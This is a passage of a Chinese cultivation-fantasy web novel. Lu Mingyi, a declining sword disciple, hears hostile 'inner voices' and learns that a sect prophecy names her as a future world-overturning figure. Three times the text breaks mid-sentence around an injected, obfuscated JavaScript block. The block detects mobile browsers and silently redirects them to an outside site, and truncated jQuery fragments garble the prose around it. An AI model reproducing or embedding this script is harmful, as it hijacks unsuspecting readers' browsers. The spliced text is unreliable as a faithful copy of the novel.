“鹿师姐此言差矣。宗主的尊号虽然是碧月剑尊,但比起剑术,她的卜卦能力更为过人。”姬绪云娓娓说道,“我听说百年前,沈家家主就请宗主卜过一卦,算出大凶,沈家主因此那一年都闭门不出。结果也恰好是那一年,魔宗出世大乱天下,劫持了数个沈家的门生。若不是沈家主提前闭门不出,也许就要和魔宗正面打上交道了。” 鹿鸣意听了,眉头却是微微蹙起。 一来,这是沈家的事,但她自幼跟在沈鸣筝身边,居然从未听闻过;二来,自始至终沈家都在魔宗的目标上,魔宗动乱,沈家主又怎只一年大凶? 说白了,鹿鸣意对卜卦算命这种事是一点都不信的,自然会挑出许多“错处”,哪怕这是闻名天下的碧月剑尊算出来的。 “哎呀,鹿师姐,我知道你不信这些命啊运啊的。”姬绪云好像读出了鹿鸣意的心声一般,她将另一只手也覆在了鹿鸣意手上,“但是,不想那些魔宗之流的,你被宗主算出来是‘预言之子’唉,这听起来就很厉害啊。” “鹿师姐,你不想名扬天下吗?” 鹿鸣意的表情变得莫名起来,她看着姬绪云,语重心长地说:“姬师妹,如果你要提预言,那首先这个‘预言之子’是没法和魔宗脱开关系的。” “鹿师姐,我的意思是……” “更何况,名扬天下和预言有什么关系?难道现在卜卦说你会默默无闻,你就会心甘情愿,不去修炼拼搏吗?” 说完,鹿鸣意又轻笑安抚姬绪云:“我知道你是关心我想令我开怀,但我对‘预言之子’这种东西根本没兴趣,旁人若是好奇,就让她们去琢磨吧。” “……鹿师姐不在意那些话就好。” 姬绪云点点头,原本和鹿鸣意交叠的手不知何时已经收了回去。 鹿鸣意没有说的是,早些年的时候她确实想着要名震天下。 为娘亲阿娘、为沈家、为师尊,她年少气盛,有天赋也有能力,有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019085|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等野心再正常不过。 然而如今,一切都成过往云烟。 但就这走神的一会儿功夫,一道阴恻恻的声音在鹿鸣意耳畔响起: 【鹿鸣意,你可当真是沉得住气,看来我给你烧得这把火还不够旺啊。】 即便声音中蕴含的情绪相差甚远,但鹿鸣意还是很快就分辨出来,这次是姬绪云的声音。 并且她还回忆起来,进思过崖之前,同姬绪云告别时,她也听到了这个声音:【我的好师姐,等你出来,你会发现我送了你一份大礼的。】 这两句话拼凑在一起,很容易就得出一个结论:姬绪云就是那个散布消息的人,并且,她早就规划好了。 鹿鸣意的眉眼沉了下来,她看向坐在自己对面浅笑晏晏的少女,心底升起了点怀疑,又压了回去。 在思过崖的时候,她才告诫自己不能疑神疑鬼、去阴暗揣测身边人。 原本鹿鸣意还想与姬绪云讨论一下,散布宗主预言消息的人到底有什么目的,但这会儿她却是怎么都没兴致了,打算自己回去想想。 于是她起身同姬绪云告别:“姬师妹,多谢你告知我这些。只是我这会儿身子还虚弱着,就先回去修养了,改日你来金霁阁玩。” “鹿师姐同我客气什么!”姬绪云连忙跟着起身,一路把鹿鸣意送到了门外,“师姐你有什么需要的就和我说,我有的我没有的我都会想办法送你手上!” 看她这样,鹿鸣意又没忍住笑了笑,说:“不用啦,我可能只是要睡会儿。”同时她心里在谴责那个莫名其妙的声音,老是想诱导她怀疑别人。 “嘿嘿好。”姬绪云也跟着笑,突然,她像想起了什么般,小心问道,“那今年八月……鹿师姐还要回江夏去祭拜姨母们么?” 鹿鸣意的娘亲阿娘身亡于八月,每年她有空的时候,都会回江夏祭拜双亲。姬绪云也是江夏的,她们有时凑巧就会一起回去。 最近又是那莫名其妙的声音,又是宗主的预言,甚至魔宗也在蠢蠢欲动,鹿鸣意觉得这个时候并不好离开太清宗。 思索片刻,她摇了摇头:“今年事情有些多,就不回了,正好去年也祭拜过。” 等从姬绪云的住处出来走过一阵,鹿鸣意腰间挂着的身份牌震了震,她这才发觉沈鸣筝给她发了许多条传信。 她先是开怀笑着,心说沈鸣筝这臭脾气到底什么时候能改改。总是自己莫名生气,鹿鸣意怎么好言好语都不收敛,但当鹿鸣意忙别的去了,她又总会主动说话。 而后鹿鸣意又忍不住腹诽宗门的身份牌,每次有传信,提示都很不到位,宗门就不能把传信技术精进一下吗? 但当她接收沈鸣筝的传信时,脸上轻松的表情便褪去了: 【鹿鸣意,你在哪儿呢?我在思过崖等了老半天没看到你人!】 【你怎么还不回消息!】 【算了,你什么时候看到消息直接来金阙阁吧,我娘亲和阿娘来了。】 11. 第十一章 鹿鸣意的娘亲和阿娘是两位散修。 这年头的修仙界,宗门和世家林立,散修无依无靠,通常地位是很低的。 但她的两位娘亲并非是找不到势力依靠,纯粹是为了不想被身份束缚,干脆脱离了自己的家族,做起了替世家、宗门走镖的行当。 也因此,在鹿鸣意为数不多的记忆中,小小的她是常常跟着娘亲们去到一个又一个地方的。 娘亲沉稳温柔,阿娘热情活泼,在那有限的童年里,即便四处奔波,鹿鸣意的回忆也是鲜活明亮的。 只可惜,在她五岁那年,娘亲们走镖时遇上了魔宗,命丧魔宗爪牙的手下。 也因着那次是为沈家走镖,沈家的家主沈翩尘顾念着同鹿鸣意两位娘亲的旧情,将她接回了沈家。 一直到现在,鹿鸣意也是跟着沈鸣筝一起回沈家过年的。 收到沈鸣筝的讯息后,鹿鸣意也没想着要回去休息一下了,而是直接快步走去了丹峰的金阙阁。 沈翩尘和夏涣这次大概是私下里来的,只带了几个修为高的护卫来。 鹿鸣意进金阙阁的时候,夏涣正煮好一碗药汤递给坐在高位的沈翩尘。 沈翩尘素来雅静,又因常年病着脸色苍白,而沈鸣筝的金阙阁却是富丽堂皇,那些光彩照在沈翩尘脸上,反而将她气色衬得好了点。 鹿鸣意进了金阙阁,还来不及向沈翩尘和夏涣行礼,沈鸣筝就冲了上来一把抓住她的手,把她上上下下仔细打量了一番,柳眉紧蹙:“你怎么一直不回传信?” “阿筝!” 沈翩尘和夏涣同时开口,不赞同沈鸣筝的行为。 “阿筝,小意刚来,你好歹让她缓缓。”沈翩尘轻咳几声,将夏涣端来的药汤一口喝下。 夏涣轻抚着沈翩尘的后背,帮她顺气,与沈鸣筝六分相似但更为英气的脸此时面色不善:“沈鸣筝,你在宗门内就这样行事?我教你的那些礼仪都丢哪儿去了!” 鹿鸣意心道不好,沈鸣筝最讨厌的就是夏涣说教她的礼仪家规,果不其然眼前人的脸色更是不满,抓着她的手紧了些:“我在自己的阁子里面对娘亲还要讲什么礼仪!” “你!”夏涣升起怒气,但顾着沈翩尘在这儿,又不好大发雷霆,只能道,“你能不能和鹿鸣意学学,怎么你俩天天待在一块儿,她性子就如此随和,你就这么个暴烈脾气!若你再这么肆意妄为,等我家法伺候!” 她这话一出,鹿鸣意当即听到了沈鸣筝的声音: 【鹿鸣意、鹿鸣意!我才是你女儿,你为什么一来就要提她!她如今连御器都不能够,又拿什么来和我比!】 这显然不是沈鸣筝能当众说出口的话,是以,鹿鸣意知道这又是那个声音在捣鬼。 她转而又想,抛去话语里针对自己的内容,语气什么的倒还真是和沈鸣筝挺像的。 然而即便夏涣暂时没有动手的打算,作为洞虚期修士,她周身的一些气压散开,也绝非一般人能承受得住。 至少现在身体虚弱、只有筑基三层修为的鹿鸣意是难以承受的。 她在这头已经摇摇欲坠,那边的沈鸣筝显然没打算就这么向夏涣低头,她张了张嘴,真正开口道:“哼,我本来就没错……” “好了!” 沈翩尘低呵一声,洞虚后期的修为散开,打断了沈鸣筝和夏涣的对峙,又把鹿鸣意保护得很好,还给她推了一把椅子过来坐下。 但她这一催动灵力,又带动了身上的旧伤,沈翩尘没忍住捂嘴咳嗽了一阵。 “翩翩!”“娘亲!” 方才还在争执的母女两人此时早就把那点矛盾抛到了脑后,两人脸上俱是紧张担忧。 “行了,都是老毛病没什么大碍。”沈翩尘摆了摆手,不赞同地对夏涣道,“我们这次来是看小意和阿筝的,你这到底是来看她们的还是来烦她们的?” “我就是一时急了……”夏涣小心翼翼,生怕再惹沈翩尘动怒。 但同时,她又用带着不满的眼神瞥了几乎是瘫坐在椅子上的鹿鸣意一眼。 ——若不是为了顾及她,沈翩尘是不必动用灵力的。 鹿鸣意收到了这个眼神,但暂且没去管,她同样担忧着沈翩尘,问道:“沈姨母可是旧伤又复发了?” 沈翩尘淡然笑笑,浅棕的眼眸目光悠然而温柔:“就是那点老毛病,你们都不用太挂心。倒是小意你,阿筝写了家书,说你又受了伤,还被罚去了太清宗思过崖,你可还好?我和你夏姨母从家里带了医修来,等会儿给你看看。” 作为沈家的家主,沈翩尘自然也是惊才艳艳,八百岁修炼至洞虚后期,已经是沈家历任家主中天资最高的一个,炼丹能力更是出神入化,作为太清宗丹峰峰主的明萱都自愧不如。 然而当年,沈翩尘为生下沈鸣筝,落下了暗疾;随后又是魔宗乱世,遭遇暗算,不但自此修为停滞不前,还落下了一身病根,到了如今这幅弱不禁风的模样。 某种程度来说,鹿鸣意和沈翩尘称得上同病相怜。 鹿鸣意笑道:“多谢姨母们了,但我就是冻了一下,没什么大碍的,回去睡一觉就好。” “你这也不看那也不看,等着落下病根吗!”沈鸣筝在她旁边踢了她凳子腿一下。 “你又不是不知道我很抗折腾的,要是实在不放心,把你那烛龙蜡借我回去烤烤!”鹿鸣意面对沈鸣筝,也不客气。 沈鸣筝哼一声:“我不说那你打算什么时候找我要?等会儿给你送去!” 看着她们俩的打闹,沈翩尘还是那副笑眯眯的样子,夏涣的脸色倒是不大好看,她咳嗽一声,道:“咳,我们这次来除了看望你们之外,还有要事和你们商讨。” 鹿鸣意注意到沈鸣筝在听到这话的时候,脸色变了变,她将一只手搭在了鹿鸣意的椅背上,成年以后少有地主动靠近了鹿鸣意:“什么?” 沈翩尘接着说,面色有几分不忍:“小意,你方才才从思过崖出来,怕是还不知道……碧月剑尊前些时日得出了一份卦象。” 居然是这个。 已经在姬绪云那里得知了这个消息的鹿鸣意有些意外的是,想不到这个消息竟然传播得如此广泛,连宗门之外的沈家也听闻了。 她没有藏着掖着,直言道:“我知道此事。方才来的路上遇到了一位师妹,她同我说了。碧月剑尊算出一个勾结魔宗、得到五色石、搅乱世间的人,而那个人的条件和我是完全吻合的。” “你知道?” 在场的三个人都十分讶异,不是惊讶鹿鸣意知道消息,而是意外她知道这么大的消息,却还如此淡定的样子。 鹿鸣意眨眨眼:“是……怎么了吗?” “不,小意你现在这样就很好了。”沈翩尘失笑摇摇头,“我还想你如果听到这个预言,一定会很愤懑……” “就是!”沈鸣筝少有地打断了自己娘亲的话,她看着鹿鸣意毫不犹豫道,“你和魔宗勾结?那你这段时间可小心点,别让我发现你被什么人夺舍了才好。” “哈,那到时候就麻烦你用火烤烤那个夺舍我的人!”鹿鸣意也是大笑。 她就知道,沈鸣筝一定知道自己的性格,知道她绝对不会和魔宗有丝毫牵连。 但沈鸣筝却只是哼哼几声,嘀咕一句:“我才不会用火烤……” “嗯?你在那儿说什么呢?”鹿鸣意好奇凑过去,沈鸣筝又把她一把推开。 “现在不是玩闹的时候!”夏涣又是板起了脸,她道,“预言是一回事,你们难道没有其她想法?” 说到这儿,鹿鸣意和沈鸣筝两人俱是收敛神色。 沈鸣筝道:“宗主卜卦准确度暂且不论,这消息是何人传递的就目前而言才更为重要。” 鹿鸣意道:“消息传播得如此之广,必然是有人推波助澜;而过去这么些时日,不论宗主还是几位峰主都未出面否认,想来传闻的内容也该属实。但能接触到宗主消息的,必然在宗门内有一定的地位。” 沈翩尘看着两人一人气定神闲,一人风发意气的样子,甚为欣慰。哪怕是对鹿鸣意素来一般的夏涣见此场景也不得不承认,鹿鸣意和自己女儿站在一起时,两人是何等的交相辉映。 唯一遗憾的是,鹿鸣意的修为…… “那你们对此人的目的可有想法?”沈翩尘微微阖眸,摒去杂念接着问。 鹿鸣意沉吟片刻:“此人当是魔宗之人,大概已经潜伏进太清宗多时,取得了不少人的信任。而她散布这个消息,结合之前有传闻说魔尊又有动静,大概是想继续搅乱局势,若是让正道这边自乱阵脚,她们或许能更轻易得到五色石的消息。” “你觉得你是魔宗之人抛出来的诱饵?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019086|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不错。”鹿鸣意点点头。 “你怎么知道魔宗的人不是想针对你?”沈鸣筝冷不丁突然说了句。 鹿鸣意莫名道:“针对我干嘛?我现在只是个筑基期唉,而且还不知道什么时候就变练气期了。” “你别忘了,当时是谁把那个魔宗圣女打跑了,我可听说对方是个睚眦必报的人,保不准这次就是她想来折磨你,所以故意这么干的!”沈鸣筝说得煞有其事。 “这更奇怪了好吧,那个圣女当年就是金丹大圆满了,现在至少得是元婴期了吧?她要真想报复我,直接来把我砍了不是更好吗,还至于兜这么大一圈?”鹿鸣意表示不能理解。 沈鸣筝瞪她:“那个圣女要搅混水和针对你又不冲突!谁让你出现在宗主的预言里!” 鹿鸣意想说针对她那实在是不值一提的事情,魔宗想把她当诱饵,就必然不会让她好过,但沈翩尘拍了拍桌子:“好了,看来你们二人对当前的局势还算看得清楚,只不过还是有点缺漏。” 虽然有点缺漏,但沈翩尘对她们已经是相当满意,她浅笑说道:“不过也能理解,毕竟你们还年轻,不会信命。你们最大的漏洞便是,小意是出现在碧月剑尊卦象中的‘预言之子’。” 鹿鸣意一愣,没大反应过来,自然也忽视了她身旁的沈鸣筝脸色登时变得有几分难看。 “事实上,迄今为止,碧月剑尊的卜卦结果从未出过差错。”沈翩尘说着,回忆起往事,又是一声叹息,神色复杂,“碧月剑尊做出的卦辞是‘辛酉年七月二十出生于江夏的金系天灵根之人,将成为五色石的主人,颠覆六界’。卦辞没有提及魔宗,但却是提到了你将成为五色石之主。” 鹿鸣意消化了一下这份信息,先问:“与我同年同月同日生的金灵根修士,再无她人?” “再无其她。” “宗主的卜卦当真从未错过?” “从未。” 末了,鹿鸣意沉默片刻,摇摇头道:“那我也懒得想什么‘预言之子’。我连五色石都没觉得是真的,还谈什么‘成为五色石的主人’?” 【虚伪的家伙!成为预言之子,你心里一定高兴得要死了吧?是不是觉得自己马上又可以回到那种众星捧月、天下第一的天才日子里了?】 耳畔突然炸起一串话,是沈鸣筝裹挟着怨恨的声音。 鹿鸣意一愣,她一抬头,恰好对上的就是沈鸣筝有些阴沉的眼神。 而见鹿鸣意看过来,沈鸣筝显然也十分意外,她眉头紧蹙,移开了目光,却又提起笑道:“看我做什么呢,接着说吧,预言之子?” 听到这话,鹿鸣意心里吹过陌生和无措,她当即反驳道:“别那么喊我,我不想要!” 沈鸣筝显然也是心情不佳,而且鹿鸣意过往极少对她语气不善,她眉头高高扬起,显然是真动了怒。 坐在高台上的沈翩尘和夏涣不知道这两人怎么突然就起了冲突,沈翩尘又拍了拍桌子,转而道:“好了,我知道小意不爱听这些命啊运啊的东西,但既然是碧月剑尊的卦,你还是要放在心上。” 沈家主发话,鹿鸣意自然还是会听的,她抱拳行礼应是。 “除此之外,阿筝说的魔宗圣女那件事,也并非完全没有道理。”夏涣在一旁补充,“这位圣女极为擅长易容潜伏,六十年前,就是她曾化名周雨来潜入千机门,给正道带来了极大的麻烦。若是如今太清宗内真的有奸细,极有可能与她有关。” 千机门曾经也是修仙界的大宗门,不过如今已经不复从前辉煌,而太清宗眼下正是如日中天的时候,魔宗想要潜入其中绝非易事,必须是那个卧底能力最强的才行。 说到这儿,沈翩尘又是一声叹息,她道:“原本小意你在长虹剑尊门下,我们该是很放心的。但如今碧月剑尊病重,长虹剑尊忙于宗门内部的事,更何况之前她八百寿辰的邀请就发了出去,现在还多了个收徒大典……” “收徒大典?” 鹿鸣意原本在耐心听两位长辈的话,听到这里没忍住脱口而出。 “哦,看来你师妹没和你说这事儿。”沈鸣筝也跟着开了口。 但这会儿,鹿鸣意竟从女人明丽动人的脸上读出了几分快意,“半个月前长虹剑尊就昭告了各方,说她新收了一位亲传门徒,收徒大典和她寿辰一同举办,为宗主冲喜。” 12. 第十二章 甫一听到姜流照要收新的亲传门徒,鹿鸣意心里是不大舒服的。 很像她小时候,只有沈鸣筝着一个玩伴,却听说对方结识了其她家族的孩子时的心情。 但鹿鸣意素来看得开,在她不过几岁的时候,就领会到沈鸣筝和自己是不一样的。 沈鸣筝是沈家的大小姐,她未来会有非常多的同伴,自己又何必为这一个新的而执着? 现在的鹿鸣意更是能明白,姜流照收下新的门徒是必然的事。 剑峰的亲传门徒到如今也只有三位。 大师姐萧雨歇是萧家的少主,未来必然还是要投入家族的事务中去;二师姐生性不羁,不喜停留,鹿鸣意入宗也有近百年,与这位二师姐打交道的次数寥寥无几。 而排行第三的鹿鸣意,既有世家的关系,却又不是完全的世家人,天资聪颖且品行端正,实在是继承剑峰峰主之位的不二人选。 当然,前提是她身上没出修为哐哐跌落这档子事。 如今的鹿鸣意不知哪天就要修为散尽变为凡人了,其余四峰都还人丁兴旺,与其到时候抓个人来培养,不如早日行动。 这会儿鹿鸣意倒是对那道不知来历的声音多了一点感谢的意味。 毕竟最开始也是那道声音提醒了她,师尊是要收新门徒的,有这么长的时间去接纳这件事,她如今也能看开得更快了。 只是多少有点意外和失落的,毕竟她一个月前才和师尊说了收徒的事,结果今日便得知姜流照已经要举行收徒大典了。 这比鹿鸣意心底预期得快多了。 思绪流转,鹿鸣意再抬眸时,眼中已经敛去了那些复杂情绪。 但面对神色不甚明朗的沈鸣筝,她心底也有气,只道:“师妹确实没跟我说这事,她可能也忘了吧。这么说来,等会儿我还要去凌霄阁向师尊道喜。” “你……”沈鸣筝眼睛睁大了些,心头那些晦涩的火烧得更旺了些。 “小意说得是,该有的礼节还是要去的。”沈翩尘及时打断沈鸣筝,对鹿鸣意赞同点头,“不过正如前面我们说的,如今长虹剑尊恐怕分身乏术,因此我和你夏姨母决定派术一暗中护你左右。” “术一?”鹿鸣意讶异。 丹修的战力不如其她修道之术,因此沈家有许多门生都是剑修、法修、器修之类,也培养出了一支忠于家族的护卫队。 术一便是鹿鸣意知道的几位之一,这位护卫修为到了化神期,在护卫队中的修为仅次于跟在沈翩尘的那几位,和沈鸣筝的护卫是同一修为层次。 感动之余,鹿鸣意更多地觉察到了事情似乎比她想象得更为严峻。 沈翩尘不语,只是微微颔首。 说完了事,接下来就该是沈鸣筝和双亲单独相处的时刻了。 鹿鸣意其实还好奇五色石的事,但她知道什么可以问,什么不该开口。 在方才的讨论中,沈翩尘自始至终都默认了五色石的存在,已经足以说明问题了。 于是,鹿鸣意微微低头,向沈翩尘和夏涣行礼告辞。 末了她又看向沈鸣筝,刚见面时对她言笑晏晏的样子早已烟消云散,此时只留给鹿鸣意冷峻的侧脸,连一个眼神都吝啬施与。 若是以前,她多半会插科打诨过去,逗得沈鸣筝那张靓丽的面庞重焕光光彩。 但这段时间以来,事情一件接着一件,即便是鹿鸣意也会喘不过气。 更何况,她也有自己的脾气。 绝大多数时候,她都可以无限包容沈鸣筝,但这会儿气上来了,自然也不会忍气吞声。 是以,鹿鸣意也给沈鸣筝留了个冷漠的后脑勺,踏步走出了金阙阁。 走出金阙阁有一段距离后,她才轻轻叹了口气。 鹿鸣意并不喜欢叹气。 在她朦胧的记忆里,记得娘亲告诉她“叹气叹气没福气”。她倒不是顾忌“福气”这种虚无缥缈的东西,只是从这句话中品味出来,叹气是种不算积极的行为。 但此刻,鹿鸣意真的很想把积郁在心头的那些郁气吐出来。 魔宗、预言之子、五色石,还有那鬼魅的声音…… 这些事情一齐压了过来,鹿鸣意倒还有点怀念之前只是单纯修为跌落的日子了。 那时候每天只用烦恼修为,哪像现在要想这么一大堆事情? 然而鹿鸣意也清楚,她的心情变得如此糟糕,有很重要的原因在于沈鸣筝方才的反应。 她不该去怀疑的,但沈鸣筝的言行,实在是和那几句响起的声音匹配极了。 鹿鸣意忍不住又想,可是沈鸣筝又为什么要觉得她虚伪?她确实不信那些算命的、也不在意什么预言之子,沈鸣筝她该清楚的! 而如果一旦认为那些声音,来自于本人的心声,那对鹿鸣意来说,绝对是人生的天翻地覆。 沈鸣筝一直在心底否认她的人格,师尊认为她不堪大用,还有师妹…… 倘若那声音是真的,姬绪云才是问题最大的那个。 鹿鸣意神色极为凝重,从在姬绪云那儿听到的几句话中不难得出,姬绪云就是那个散布宗主卜卦信息的魔宗之人。 但这又怎么可能? 姬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019087|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪云是内门首席,见过多少宗门内的长老,甚至各峰内门首席由宗主亲自进行封赏的,若她是魔宗奸细,早就该被发现了。 更何况,姬绪云入太清宗也有几十年了,哪个魔宗奸细在太清宗能潜伏这么久? 鹿鸣意摇摇头,把“声音是心声”这个想法甩出了脑海。 她让自己不能往这个方面想,因为这是对周围诸多人品性的否认。 但怀疑的种子已经在心中种下,即便是心性坚韧如鹿鸣意,也很难彻底摆脱这如影随形的阴霾。 在她沉着面色回剑峰的路上,还遇到了许多同门,看向她的眼神多是明晃晃的恐惧和厌恶。 面对这些,鹿鸣意想着若她真是那什么预言之子,颠不颠覆世界暂且不去想,但一定要给太清宗加一门门徒通修课——如何提升自我判断能力! 然而等好不容易走回了金霁阁,鹿鸣意想到自己还要去剑峰峰顶的凌霄阁,给姜流照和那位新师妹送贺礼。 她如今不过筑基三层,不能御剑飞行,靠腿爬上剑峰峰顶,至少要花三日! 并且,剑峰是一座相当陡峭险峻的山,徒步上去的话,绝对是要小心失足摔落山崖的。 虽然沈翩尘给她派了术一这个化神期修士作为护卫,但她肯定不能为这点事去使唤人家的。 要不别送礼了,她滚回思过崖好了。 宗主病了,师尊日夜陪护,她受伤昏迷三天,也没见师尊来;她顶着微薄修为在思过崖待了一个月,师尊似乎就把她忘了一般,根本没在意她如今已经不能御剑飞行、去凌霄阁当真是难如登天。 鹿鸣意把头抵在墙上,又“哐哐”撞了两下。 她觉得自己已经接受师尊要有新门徒这件事了,但这会儿心底竟又浮现了点怨念。 “小意?你在这儿做什么呢。” 兀地,一道柔和的声音伴随着浅淡的兰花香气飘散过来。 鹿鸣意循着声音望去,萧雨歇估摸着是刚从外面回来,没有穿太清宗的宗服,而是身着一件银白月华色的衣衫,唇角凝着浅淡的笑容。 萧雨歇迈着步子走进了些,鹿鸣意以为她还要问自己方才“撞墙”的事,却见对方拿出了一块帕子,轻柔擦拭着她的的额头,同时还用微微上扬的语调说:“你的额头上沾了点灰,就算是玩闹,也该看着点。” 鹿鸣意抬眸,看到的是萧雨歇温柔悠远的眉眼,妥帖舒适地将她包裹。 其实有更为方便高效的清尘诀的,但此时此刻萧雨歇那方柔软的帕子却好像扫过鹿鸣意的心间一般,将她方才的烦闷也一并扫去了。 13. 第十三章 就像宗门会有更迭一般,家族也会有兴衰。 曾几何时,修仙界的西南方一带全在萧家的管辖范围内。 那时的萧家以兽修为专长,嫡系多有通灵天赋,与灵兽的交流、共鸣能力极强。 族内修士本身天资出众,又有高品灵兽助力,在一段时间内,萧家才是那个“天下第一家”。 然而时过境迁,如今修仙界内灵气凋零,连修士们都难以增进修为,更不用说灵兽了,是以萧家的优势也跟着消逝。 更糟糕的是,由于萧家嫡系的通灵天赋的确是修仙界独一档的存在,在修仙界众人还未曾注意到魔宗的存在时,萧家便率先遭受了冲击。 待到修仙界合力向魔宗征战之时,萧家只剩下残缺的几支血脉,通灵天赋消失无影,再无往日的辉煌。 萧雨歇的娘亲虽然天赋是近代以来最好,二百岁便到金丹,但因先天不足,在萧雨歇进入太清宗没几年便撒手人寰。 而彼时萧雨歇尚且年少,萧家以她年岁过小为由,并不让她继承家主之位,仍是少主。 鹿鸣意坐在床上,看着在她屋子里忙来忙去的萧雨歇,对方恬淡的神色沐浴在光晕之下,给她增添了一番别样的光辉。 “你刚从思过崖出来,身上寒气正重,我从旁人那里借来了两支烛龙蜡给你点上。” “你榻上这些棉絮我烤了一下,应该正暖和。我去思过崖寻你没寻着人,发讯息你也没回,就先来你宅子里给你打扫了一下。” “喏,把暖珠揣好了,你手一直都是冰的。” “师姐,我没那么脆弱啦。”鹿鸣意接过萧雨歇递来的暖珠,笑得乖巧,“你刚办完事回来吗?” “嗯。”萧雨歇点点头,又用手指点了点鹿鸣意的脑袋,“你也别逃避话题,我还不知道你吗?如果我不盯着点,你又要随随便便,不好好照顾自己了。” 鹿鸣意偏了偏脑袋,笑道:“我哪有那么不讲条理!” 萧雨歇看她这样,跟着笑了会儿,随后才道:“小意现在舒服点了没,可以说说方才你为什么要在自己宅子外……撞墙吗?” 说到“撞墙”二字的时候,萧雨歇明显还憋了点笑。 鹿鸣意有些不好意思,但面对与她朝夕相伴的师姐,还是吐露了心声:“其实我就是有点累了,然后想到还要去凌霄阁给师尊和新来的师妹送贺礼……” “你已经听说祁师妹的事了?”萧雨歇眉梢微挑。 原来新师妹姓祁,大家都知道了,就她不知道。 鹿鸣意心中默念,摇摇头说:“我只知道师尊新收了门徒,其余的并不知晓。” “那你可曾听说……”萧雨歇眉目之间有熟悉的不忍,后话没有说出口,似乎在斟酌要如何措辞。 但鹿鸣意听出来,她这是要说那个预言的事了,于是道:“如果师姐想说宗主的那份卦辞的话,我也已经听说了。” 萧雨歇更为讶异了些,但见鹿鸣意毫无异样神情,她也立刻敛了神色道:“小意你不用担心。不论预言怎么说,师姐都相信你的为人,定不会让旁人欺负你。” “多谢师姐。师姐也放心,若是真有人敢来做什么,我是不会忍气吞声的。”鹿鸣意眨眨眼,回应道。 萧雨歇在照顾人方面一向体贴,鹿鸣意身上的疲惫早已一扫而空,这会儿正是放松的时刻,她还想和萧雨歇说上几句话,多问问新师妹的情况,却突然听到: 【你除了外貌,当真是没有一点与小疾相似。若是小疾,听到我说这种话,大概早已扑入我怀中软声撒娇了。】 小疾? 鹿鸣意垂眸,在萧雨歇面前遮住眼中闪过的疑惑与凝重。 这不是她第一次听到这个名字了,可翻阅记忆,在剑峰的近百年时光,她都不曾在萧雨歇这里听过这个名字。 然而萧雨歇面上没有任何异样,她优雅地在床沿边坐下,轻抚鹿鸣意的眉眼,笑道:“我一直很相信你的。而且,我还在等你恢复了,继续陪我练习太清剑法第四层呢。” 除了鹿鸣意是跟随姜流照习得了长虹剑法,剑峰其余门徒修习的都是太清剑法,萧雨歇也不例外。 而鹿鸣意称得上奇才,曾经天资甚至被评价为姜流照之上,与她交流剑技也能收获颇丰。 并且不知是否因为师姐妹的长时间相处,鹿鸣意与萧雨歇一同练剑时,二人默契十足,不论是剑法还是修为的提升速度都比平日里单独钻研更快。 但这些练习多是在三年之前。 鹿鸣意也不觉得以自己现在的修为水平,能继续当萧雨歇的陪练。 于是,她没有应下萧雨歇的话,转而开启新话题问:“师姐,我听师尊说你是家中有事才突然外出,可是处理好了?需要帮忙吗?” 过去萧雨歇其实带鹿鸣意去过几次萧家,因为自幼在沈家长大,她对处理家族事务耳濡目染也有不少经验,在不触及家族核心的前提下给萧雨歇打打下手。 不过自从鹿鸣意修为衰落,萧雨歇已经很少在她面前提及家族了。 这会儿她开口,也没指望萧雨歇能说什么,却不想听到对方道:“嗯……是一些比较麻烦的事。” “师姐可愿与我说道?或许我能帮上一二。”萧雨歇的主动求助,让鹿鸣意眼睛一亮,把什么“小疾”也抛到了脑后。 “唉,无非也是一些旧事情。”萧雨歇垂眸看她,细声说道,“阿娘希望我早日回家真正继任萧家家主一位,毕竟我嫡系血脉不显,其余几支旁支一直对家主之位虎视眈眈。” 由于惨遭魔宗屠戮,萧家嫡系所剩无几,到萧雨歇这一辈,她已无御兽通灵的天赋,反倒是在御剑、与剑灵通感上颇为出色,这也是她被姜流照收为亲传门徒、入剑峰门下的原因。 但放在家族内来说,没有觉醒家族本身独特的异能,确实很容易被有心人做文章。 尤其萧雨歇年少,哪怕修炼天赋不错,对上几位年长的姨母姑姑,在礼法资历上也很容易落入下风,在家族内话语权不高。 但上任萧家主离世至今也接近两百年了,光鹿鸣意所看到的,对方一年里至少会花一半的时间在家族事务上,以至于修炼都要排在次位。 大多数家族的族人,会在年少时送入宗门,为的是培养族人的独立、交际能力,并且保持广阔的人脉,待到有一定修为基础了再接回族内接触家族事务。 萧雨歇却是顺序颠倒过来,是以她明明天资卓越,如今也才金丹后期。 一开始鹿鸣意会直言为萧雨歇打抱不平。 但随着对宗门、家族之事,以及对萧雨歇的了解加深,她也逐渐明白,家族在萧雨歇心中是何等的重要。 